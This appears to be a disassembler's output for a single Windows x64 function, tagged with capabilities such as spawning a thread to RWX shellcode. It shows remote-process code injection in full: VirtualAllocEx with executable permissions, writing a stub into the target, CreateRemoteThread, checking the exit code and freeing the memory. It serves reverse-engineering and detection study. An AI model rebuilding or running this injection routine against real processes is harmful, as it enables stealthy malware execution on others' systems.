Function at 0x140016830
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0xc0
mov byte [rsp + 0x40], 0
mov rdx, qword [rsp + 0xd8]
mov rcx, qword [rsp + 0xd0]
call fcn.140012020
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x78], 0
je 0x140016acf
mov rcx, qword [rsp + 0x78]
call fcn.140011f90
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x80]
cmp dword [rax + 0x28], 0
je 0x140016ab3
mov rax, qword [rsp + 0x80]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0xd8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
lea rax, [0x140016800]
lea rcx, [0x140016790]
sub rax, rcx
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x44]
add rax, 0x28
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0
je 0x140016ab3
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x44]
mov rcx, qword [rsp + 0x60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x98]
mov rdi, rax
xor eax, eax
mov ecx, 0x28
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0xa0], rax
mov eax, dword [rsp + 0xe0]
mov dword [rsp + 0xa8], eax
mov qword [rsp + 0xb0], 0x12345678
mov eax, dword [rsp + 0x44]
mov r9d, eax
lea r8, [0x140016790]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0xd0]
call fcn.140012d90
movzx eax, al
test eax, eax
je 0x140016a84
mov r9d, 0x28
lea r8, [rsp + 0x98]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0xd0]
call fcn.140012d90
movzx eax, al
test eax, eax
je 0x140016a84
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x60]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140016a84
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x48], 0x54fd32fc
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x140016a79
cmp dword [rsp + 0x48], 0xab02cd03
jne 0x140016a79
mov r9d, 0x28
lea r8, [rsp + 0x98]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0xd0]
call fcn.140012cb0
movzx eax, al
test eax, eax
je 0x140016a79
movzx eax, byte [rsp + 0xb8]
mov byte [rsp + 0x40], al
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.Now_finished_executing_thread__running_VirtualFreeEx_on_shellcode_n
mov rcx, qword [0x1400552a0]
call fcn.140008050
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0xd0]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x90], rax
xor edx, edx
mov rcx, qword [rsp + 0x90]
call fcn.1400180e0
movzx eax, byte [rsp + 0x40]
add rsp, 0xc0
pop rdi
ret